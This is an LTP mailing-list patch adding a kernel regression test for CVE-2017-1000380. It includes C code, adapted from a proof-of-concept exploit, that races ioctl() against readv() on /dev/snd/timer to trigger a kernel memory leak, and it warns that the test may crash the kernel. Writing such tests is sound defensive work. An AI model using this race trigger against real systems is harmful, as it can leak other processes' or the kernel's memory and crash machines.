[LTP] [PATCH] Add a regression test for CVE-2017-1000380

Michael Moese mmoese@suse.de
Fri Jun 14 13:13:10 CEST 2019


A race condition was present in the linux kernel, which could lead to
a leak of arbitrary kernel memory to userspace applications.

The issue was fixed in those kernel commits:
 http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
 http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728

This patch adds a regression test triggering this race condition.

Signed-off-by: Michael Moese <mmoese@suse.de>
---
 runtest/cve                        |   1 +
 testcases/kernel/Makefile          |   1 +
 testcases/kernel/sound/.gitignore  |   1 +
 testcases/kernel/sound/Makefile    |  12 ++++
 testcases/kernel/sound/snd_timer.c | 137 +++++++++++++++++++++++++++++++++++++
 5 files changed, 152 insertions(+)
 create mode 100644 testcases/kernel/sound/.gitignore
 create mode 100644 testcases/kernel/sound/Makefile
 create mode 100644 testcases/kernel/sound/snd_timer.c

diff --git a/runtest/cve b/runtest/cve
index 031bcdc2a..01324c6ce 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -36,6 +36,7 @@ cve-2017-17052 cve-2017-17052
 cve-2017-16939 cve-2017-16939
 cve-2017-17053 cve-2017-17053
 cve-2017-18075 pcrypt_aead01
+cve-2017-1000380 snd_timer
 cve-2018-5803 sctp_big_chunk
 cve-2018-1000001 realpath01
 cve-2018-19854 crypto_user01
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 39d79c7d8..eff5b3e7d 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -52,6 +52,7 @@ SUBDIRS			+= connectors \
 			   pty \
 			   sched \
 			   security \
+			   sound \
 			   timers \
 			   tracing \
 
diff --git a/testcases/kernel/sound/.gitignore b/testcases/kernel/sound/.gitignore
new file mode 100644
index 000000000..57eae0593
--- /dev/null
+++ b/testcases/kernel/sound/.gitignore
@@ -0,0 +1 @@
+snd_timer
diff --git a/testcases/kernel/sound/Makefile b/testcases/kernel/sound/Makefile
new file mode 100644
index 000000000..5fdc7dd42
--- /dev/null
+++ b/testcases/kernel/sound/Makefile
@@ -0,0 +1,12 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		:= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CPPFLAGS		+= -D_GNU_SOURCE
+
+LDLIBS 			+= -pthread
+
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sound/snd_timer.c b/testcases/kernel/sound/snd_timer.c
new file mode 100644
index 000000000..2d719fc03
--- /dev/null
+++ b/testcases/kernel/sound/snd_timer.c
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
+ * Regression test for CVE-2017-1000380 based on the original PoC exploit
+ * by Alexander Potapenko <glider@google.com>
+ *
+ * Be careful! This test may crash your kernel!
+ *
+ * The test performs several ioctl() parallel with readv() on the same
+ * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
+ * to the process, which may contain information from the the kernel or
+ * any other process on the system.
+ *
+ * The issue was fixed with
+ *   http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
+ *   http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
+ */
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_pthread.h"
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sound/asound.h>
+
+#define MAX_BUFSIZE 1024
+
+static int snd_fd;
+static struct tst_fzsync_pair fzsync_pair;
+
+static void *ioctl_thread(void *unused)
+{
+	(void) unused;
+	int tread_arg = 1;
+	struct snd_timer_select ts;
+	struct snd_timer_params tp;
+
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
+
+		memset(&ts, 0, sizeof(ts));
+		ts.id.dev_class = 1;
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
+
+		memset(&tp, 0, sizeof(tp));
+		tp.ticks = 1;
+		tp.filter = 0xf;
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
+
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
+
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+	return NULL;
+}
+
+static void setup(void)
+{
+	tst_fzsync_pair_init(&fzsync_pair);
+	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+	snd_fd = SAFE_OPEN("/dev/snd/timer",
+			O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+	SAFE_CLOSE(snd_fd);
+}
+
+static void run(void)
+{
+	size_t len;
+	int size;
+	struct iovec iov;
+	pthread_t th;
+	char read_buf[MAX_BUFSIZE];
+	int i, nz = 0;
+	pthread_attr_t thread_attr;
+
+	pthread_attr_init(&thread_attr);
+	pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
+	SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
+
+	iov.iov_base = read_buf;
+	iov.iov_len = sizeof(read_buf);
+
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		memset(read_buf, 0, sizeof(read_buf));
+		size = readv(snd_fd, &iov, 1);
+
+		tst_fzsync_end_race_a(&fzsync_pair);
+
+		/* check if it could be a valid ioctl result */
+		if (size == 0)
+			continue;
+
+		/* check if the buffer is  */
+		for (i = 0; i < size; i++) {
+			if (read_buf[i]) {
+				nz = 1;
+				break;
+			}
+		}
+		if (!nz)
+			continue;
+
+		len = strlen(read_buf);
+		/* the kernel's struct snd_timer_read is two unsigned integers*/
+		if (len <= 2 * sizeof(unsigned int))
+			continue;
+
+		tst_res(TFAIL, "kernel seems vulnerable");
+		return;
+	}
+
+	if (tst_taint_check() != 0)
+		tst_res(TFAIL, "kernel seems vulnerable");
+	else
+		tst_res(TPASS, "kernel seems not vulnerable");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
-- 
2.16.4



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